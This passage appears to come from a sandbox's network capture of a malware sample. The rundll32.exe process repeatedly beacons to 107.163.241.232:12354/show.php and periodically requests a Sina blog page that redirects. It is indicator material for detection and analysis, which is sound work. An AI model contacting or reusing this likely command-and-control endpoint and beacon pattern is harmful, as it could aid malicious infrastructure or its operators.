Dec 11, 2024 16:25:04.734268904 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50046	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:06.862236977 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50048	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:06.995634079 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50064	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:08.616647959 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50066	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:08.731767893 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50067	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:08.732338905 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:10.304788113 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:10 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50086	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:10.876811981 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50088	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:10.992366076 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50104	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:12.633485079 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50106	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:12.742552996 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50107	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:12.744430065 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:14.316438913 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:14 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50129	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:14.871700048 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50131	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:14.991518974 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50147	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:16.647640944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50150	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:16.767366886 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50151	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:16.767755032 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:18.348057032 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:18 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50173	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:18.890381098 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50175	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:19.007800102 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50192	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:20.652548075 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50195	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:20.769032001 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50196	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:20.770831108 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:22.352791071 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:22 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50223	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:22.933326960 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50226	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:23.269782066 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50240	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:24.666181087 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50243	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:24.777081013 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50244	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:24.780812979 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:26.400546074 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:26 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50267	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:26.951982021 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50270	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.070265055 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50295	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:28.678448915 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50298	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:28.835324049 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50299	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:28.835434914 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:30.353166103 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:30 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50321	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:30.939234972 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50324	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.083494902 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50356	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:32.681602955 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50358	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:32.809689999 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:34.356770992 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:34 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50359	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:32.810214996 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50389	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:34.933986902 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50392	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.039336920 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50423	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:36.705670118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50429	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:36.823462963 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50430	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:36.823565960 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:38.405175924 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:38 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
